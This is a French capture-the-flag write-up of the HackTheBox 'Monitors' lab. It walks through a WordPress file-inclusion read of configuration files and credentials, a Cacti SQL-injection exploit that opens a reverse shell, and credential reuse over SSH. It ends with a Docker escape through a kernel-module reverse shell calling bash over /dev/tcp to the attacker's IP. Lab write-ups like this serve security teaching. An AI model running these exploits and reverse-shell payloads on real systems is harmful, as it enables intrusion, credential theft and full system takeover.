Marcus
Nmap
On commence par scanner les ports de l’ip:
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sV -sC -A 10.10.10.238
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 bacccd81fc9155f3f6a91f4ee8bee52e (RSA)
| 256 6943376a1809f5e77a67b81811ead765 (ECDSA)
|_ 256 5d5e3f67ef7d762315114b53f8413a94 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.5.1
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Welcome to Monitor – Taking hardware monitoring seriously
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 23.69 ms 10.10.14.1
2 25.52 ms monitors.htb (10.10.10.238)
Hosts
On ajoute ensuite le domain aux hosts:
┌──(root㉿kali)-[/home/kali]
└─# echo "10.10.10.238 monitors.htb" >> /etc/hosts
Wordpress
Nmap nous a montré que le site utilise WordPress 5.5.1, on va donc scanner ce site Wordpress à l’aide de wpscan:
┌──(kali㉿kali)-[~]
└─$ sudo wpscan --url http://monitors.htb -e ap,t,tt,u --api-token TOKEN
[...]
[i] Plugin(s) Identified:
[+] wp-with-spritz
| Location: http://monitors.htb/wp-content/plugins/wp-with-spritz/
| Latest Version: 1.0 (up to date)
| Last Updated: 2015-08-20T20:15:00.000Z
|
| Found By: Urls In Homepage (Passive Detection)
|
| [!] 1 vulnerability identified:
|
| [!] Title: WP with Spritz 1.0 - Unauthenticated File Inclusion
| References:
| - https://wpscan.com/vulnerability/cdd8b32a-b424-4548-a801-bbacbaad23f8
| - https://www.exploit-db.com/exploits/44544/
|
| Version: 4.2.4 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://monitors.htb/wp-content/plugins/wp-with-spritz/readme.txt
[...]
Wordpress RFI
Wpscan nous dit que la version du plugin wp-with-spritz
est vulnérable à un RFI:
┌──(kali㉿kali)-[~]
└─$ locate 44544
/usr/share/exploitdb/exploits/php/webapps/44544.php
┌──(kali㉿kali)-[~]
└─$ cat /usr/share/exploitdb/exploits/php/webapps/44544.php
# Exploit Title: WordPress Plugin WP with Spritz 1.0 - Remote File Inclusion
# Date: 2018-04-25
# Exploit Author: Wadeek
# Software Link: https://downloads.wordpress.org/plugin/wp-with-spritz.zip
# Software Version: 1.0
# Google Dork: intitle:("Spritz Login Success") AND inurl:("wp-with-spritz/wp.spritz.login.success.html")
# Tested on: Apache2 with PHP 7 on Linux
# Category: webapps
1. Version Disclosure
/wp-content/plugins/wp-with-spritz/readme.txt
2. Source Code
if(isset($_GET['url'])){
$content=file_get_contents($_GET['url']);
3. Proof of Concept
/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd
/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://domain/exec
Ainsi, allons voir la configuration d’apache:
┌──(kali㉿kali)-[~]
└─$ curl http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/apache2/sites-enabled/000-default.conf
# Default virtual host settings
# Add monitors.htb.conf
# Add cacti-admin.monitors.htb.conf
<VirtualHost *:80>
[...]
On trouve alors un nouveau domain à ajouter:
┌──(root㉿kali)-[/home/kali]
└─# echo "10.10.10.238 cacti-admin.monitors.htb" >> /etc/hosts
La configuration de monitors.htb nous montre que la racine des fichiers du site est /var/www/wordpress
:
┌──(kali㉿kali)-[~]
└─$ curl http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/apache2/sites-enabled/monitors.htb.conf
[...]
ServerAdmin admin@monitors.htb
ServerName monitors.htb
ServerAlias monitors.htb
DocumentRoot /var/www/wordpress
[...]
Puis le fichier de configuration de Wordpress wp-config.php
, nous donne le mot de passe de la database:
┌──(kali㉿kali)-[~]
└─$ curl http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../var/www/wordpress/wp-config.php
define( 'DB_NAME', 'wordpress' );
/** MySQL database username */
define( 'DB_USER', 'wpadmin' );
/** MySQL database password */
define( 'DB_PASSWORD', 'BestAdministrator@2020!' );
Cacti
Allons maintenant sur le nouveau site qu’on a trouvé:
Ce site utilise donc cacti 1.2.12
. Cherchons si des exploits sont connus pour cette version:
┌──(kali㉿kali)-[~]
└─$ searchsploit cacti 1.2.12
------------------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------ ---------------------------------
Cacti 1.2.12 - 'filter' SQL Injection | php/webapps/49810.py
------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
Papers: No Results
┌──(kali㉿kali)-[~]
└─$ locate php/webapps/49810.py
/usr/share/exploitdb/exploits/php/webapps/49810.py
└─$ python3 /usr/share/exploitdb/exploits/php/webapps/49810.py
usage: 49810.py [-h] -t <target/host URL> -u <user> -p <password> --lhost <lhost> --lport <lport>
49810.py: error: the following arguments are required: -t, -u, -p, --lhost, --lport
Il nous faut un mot de passe, si on essaye avec admin:BestAdministrator@2020!
ca marche.
L’exploit obtient une RCE grace à une SQLi:
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 /usr/share/exploitdb/exploits/php/webapps/49810.py -t http://cacti-admin.monitors.htb -u admin -p BestAdministrator@2020! --lhost 10.10.14.5 --lport 4444
[+] Connecting to the server...
[+] Retrieving CSRF token...
[+] Got CSRF token: sid:cd05039fb335b6d5cbf9fcecc77db39a5d777669,1694259967
[+] Trying to log in...
[+] Successfully logged in!
[+] SQL Injection:
"name","hex"
"",""
"admin","$2y$10$TycpbAes3hYvzsbRxUEbc.dTqT0MdgVipJNBYu8b7rUlmB8zn8JwK"
"guest","43e9a4ab75570f5b"
[+] Check your nc listener!
Le revshell a bien fonctionné et notre netcat nous montre qu’on est connecté à www-data
:
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.238] 33632
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
A ce stade là, j’utilise toujours cette commande pour upgrade mon shell (même que dans ce cas là c’est probablement inutile):
$ python3 -c 'import pty; pty.spawn("/bin/sh")'
www-data -> marcus
Regardons les références à l’utilisateur marcus
:
$ grep 'marcus' /etc -R 2>/dev/null
grep 'marcus' /etc -R 2>/dev/null
/etc/group-:marcus:x:1000:
/etc/subgid:marcus:165536:65536
/etc/group:marcus:x:1000:
/etc/passwd:marcus:x:1000:1000:Marcus Haynes:/home/marcus:/bin/bash
/etc/systemd/system/cacti-backup.service:ExecStart=/home/marcus/.backup/backup.sh
/etc/subuid:marcus:165536:65536
/etc/passwd-:marcus:x:1000:1000:Marcus Haynes:/home/marcus:/bin/bash
$ cat /home/marcus/.backup/backup.sh
cat /home/marcus/.backup/backup.sh
#!/bin/bash
backup_name="cacti_backup"
config_pass="VerticalEdge2020"
zip /tmp/${backup_name}.zip /usr/share/cacti/cacti/*
sshpass -p "${config_pass}" scp /tmp/${backup_name} 192.168.1.14:/opt/backup_collection/${backup_name}.zip
rm /tmp/${backup_name}.zip
On obtient alors un nouveau mot de passe VerticalEdge2020
.
Root
Avec celui-ci, on se connecte au ssh de marcus:
┌──(kali㉿kali)-[~]
└─$ ssh marcus@monitors.htb
marcus@monitors:~$
On obtient au passage le flag utilisateur:
marcus@monitors:~$ cat user.txt
5bb7d47702797743d59aa6384da443ea
linpeas.sh
On cherche maintenant à faire une escalade de privilège jusqu’à root
, pour se faire, on va utiliser linpeas.sh
pour lister les informations intéressantes.
Ni curl ni wget ne sont disponible, donc on ne va pas passer par http pour envoyé des fichiers mais utiliser netcat car lui est disponible:
# Cible:
$ nc -l -p 1234 > linpeas.sh
nc -l -p 1234 > linpeas.sh
# Kali:
┌──(kali㉿kali)-[~/Desktop/linpeas-server]
└─$ nc -w 3 10.10.10.238 1234 < linpeas.sh
On execute linpeas:
$ chmod +x linpeas.sh
chmod +x linpeas.sh
$ ./linpeas.sh
Linpeas nous montre les ports utilisés en local:
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp 0 0 127.0.0.1:8443 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
Tunnel (Chisel)
Le service 127.0.0.1:8443
retient mon attention,
on va alors setup un proxy pour pouvoir acceder au reseau local:
marcus@monitors:~$ nc -l -p 1234 > chisel
marcus@monitors:~$ chmod +x chisel
marcus@monitors:~$ ./chisel client 10.10.14.5:8000 R:8443:127.0.0.1:1080
┌──(kali㉿kali)-[~/Desktop/linpeas-server]
└─$ ./chisel server -p 8000 --reverse
2023/09/09 17:23:05 server: Reverse tunnelling enabled
2023/09/09 17:23:05 server: Fingerprint byl8Mf/Bu9BZsKH8mG4H4E3zwSd50oTi+HL4CEFwWc8=
2023/09/09 17:23:05 server: Listening on http://0.0.0.0:8000
2023/09/09 17:23:05 server: session#1: tun: proxy#R:8443=>8443: Listening
Chisel nous a alors fait un tunnel pour accédé à https://localhost:8443/
sur notre propre machine:
┌──(kali㉿kali)-[~/Desktop/linpeas-server]
└─$ dirsearch -u "https://localhost:8443/"
dirsearch
nous montre que https://localhost:8443/solr/
existe.
Avec une recherche rapide on tombe sur:
ofbiz exploit
On trouve alors que https://localhost:8443/solr/#/
redirection vers https://localhost:8443/solr/control/checkLogin/#/
:
Ce service utilise ofbiz 17.12.01
.
Searchsploit
┌──(kali㉿kali)-[~]
└─$ searchsploit ofbiz
------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Apache OFBiz - Admin Creator | multiple/remote/12264.txt
Apache OFBiz - Multiple Cross-Site Scripting Vulnerabilities | php/webapps/12330.txt
Apache OFBiz - Remote Execution (via SQL Execution) | multiple/remote/12263.txt
Apache OFBiz 10.4.x - Multiple Cross-Site Scripting Vulnerabilities | multiple/remote/38230.txt
Apache OFBiz 16.11.04 - XML External Entity Injection | java/webapps/45673.py
Apache OFBiz 16.11.05 - Cross-Site Scripting | multiple/webapps/45975.txt
Apache OFBiz 17.12.03 - Cross-Site Request Forgery (Account Takeover) | java/webapps/48408.txt
ApacheOfBiz 17.12.01 - Remote Command Execution (RCE) | java/webapps/50178.sh
------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
Papers: No Results
Metasploit
L’exploit trouvé avec searchsploit
ne marche pas. Je vais alors chercher dans Metasploit
:
┌──(kali㉿kali)-[~/Desktop]
└─$ msfconsole
msf6 > search ofbiz
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/http/apache_ofbiz_deserialization_soap 2021-03-22 excellent Yes Apache OFBiz SOAP Java Deserialization
1 exploit/linux/http/apache_ofbiz_deserialization 2020-07-13 excellent Yes Apache OFBiz XML-RPC Java Deserialization
2 auxiliary/scanner/http/log4shell_scanner 2021-12-09 normal No Log4Shell HTTP Scanner
Utilisons Apache OFBiz XML-RPC Java Deserialization
:
msf6 > use 1
[*] Using configured payload linux/x64/meterpreter_reverse_https
Après configuration j’ai:
msf6 exploit(linux/http/apache_ofbiz_deserialization) > show options
Module options (exploit/linux/http/apache_ofbiz_deserialization):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 127.0.0.1 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 8443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addres
ses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x64/meterpreter_reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.14.5 yes The local listener hostname
LPORT 4444 yes The local listener port
LURI no The HTTP Path
Exploit target:
Id Name
-- ----
1 Linux Dropper
Plus qu’à l’executer:
msf6 exploit(linux/http/apache_ofbiz_deserialization) > run
[*] Started HTTPS reverse handler on https://10.10.14.5:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. Target cannot deserialize arbitrary data. "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/apache_ofbiz_deserialization) > set ForceExploit true
ForceExploit => true
msf6 exploit(linux/http/apache_ofbiz_deserialization) > run
Docker
A ce stade, on voit qu’on se trouve dans un docker compose:
meterpreter > cat /proc/1/cgroup
12:pids:/docker/69506ef7a41b39b56262c2f634281cffb6792b0be677ee04c6a3fac480a0983b
11:cpuset:/docker/69506ef7a41b39b56262c2f634281cffb6792b0be677ee04c6a3fac480a0983b
10:hugetlb:/docker/69506ef7a41b39b56262c2f634281cffb6792b0be677ee04c6a3fac480a0983b
9:devices:/docker/69506ef7a41b39b56262c2f634281cffb6792b0be677ee04c6a3fac480a0983b
8:blkio:/docker/69506ef7a41b39b56262c2f634281cffb6792b0be677ee04c6a3fac480a0983b
7:cpu,cpuacct:/docker/69506ef7a41b39b56262c2f634281cffb6792b0be677ee04c6a3fac480a0983b
6:freezer:/docker/69506ef7a41b39b56262c2f634281cffb6792b0be677ee04c6a3fac480a0983b
5:net_cls,net_prio:/docker/69506ef7a41b39b56262c2f634281cffb6792b0be677ee04c6a3fac480a0983b
4:perf_event:/docker/69506ef7a41b39b56262c2f634281cffb6792b0be677ee04c6a3fac480a0983b
3:rdma:/
2:memory:/docker/69506ef7a41b39b56262c2f634281cffb6792b0be677ee04c6a3fac480a0983b
1:name=systemd:/docker/69506ef7a41b39b56262c2f634281cffb6792b0be677ee04c6a3fac480a0983b
0::/system.slice/containerd.service
On va revenir à un shell:
meterpreter > shell
Process 203 created.
Channel 4 created.
On découvre qu’on est bien root. Le but est maintenant de sortir du docker compose
id
uid=0(root) gid=0(root) groups=0(root)
Docker Escape
Hacktricks nous suggère de chercher des vulnérabilités de capabilities:
capsh --print
Terminate channel 4? [y/N] N
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+eip
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=
On voit ici que cap_sys_module
peut etre exploité. (cf Hacktricks)
Avec un peu de recherche, je tombe sur ce poste: https://blog.nody.cc/posts/container-breakouts-part2/
On créé donc les deux fichiers présentés dans le post:
//reverse-shell.c
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.5/4445 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
#Makefile
obj-m +=reverse-shell.o
all:
make -C /lib/modules/4.15.0-142-generic/build M=$(PWD) modules
clean:
make -C /lib/modules/4.15.0-142-generic/build M=$(PWD) clean
Puis on les télécharge sur la cible:
┌──(kali㉿kali)-[~/Desktop/linpeas-server]
└─$ python2 -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
wget 10.10.14.5/reverse-shell.c
--2023-09-09 17:13:13-- http://10.10.14.5/reverse-shell.c
Connecting to 10.10.14.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 616 [text/plain]
Saving to: ‘reverse-shell.c’
0K 100% 50.2M=0s
2023-09-09 17:13:13 (50.2 MB/s) - ‘reverse-shell.c’ saved [616/616]
wget 10.10.14.5/Makefile
connected.
HTTP request sent, awaiting response... --2023-09-09 17:13:30-- http://10.10.14.5/Makefile
Connecting to 10.10.14.5:80... 200 OK
Length: 148 [application/octet-stream]
Saving to: ‘Makefile’
0K 100% 18.1M=0s
2023-09-09 17:13:30 (18.1 MB/s) - ‘Makefile’ saved [148/148]
Après avoir build les fichiers avec make
, on effectue la commande:
insmod reverse-shell.ko
Root
Et voilà on est sorti du docker et en plus on est root !
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4445
listening on [any] 4445 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.238] 38630
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
On récupère alors le dernier flag:
root@monitors:/# cat /root/root.txt
cat /root/root.txt
db03bd4a78beda3aaec547ab083a9500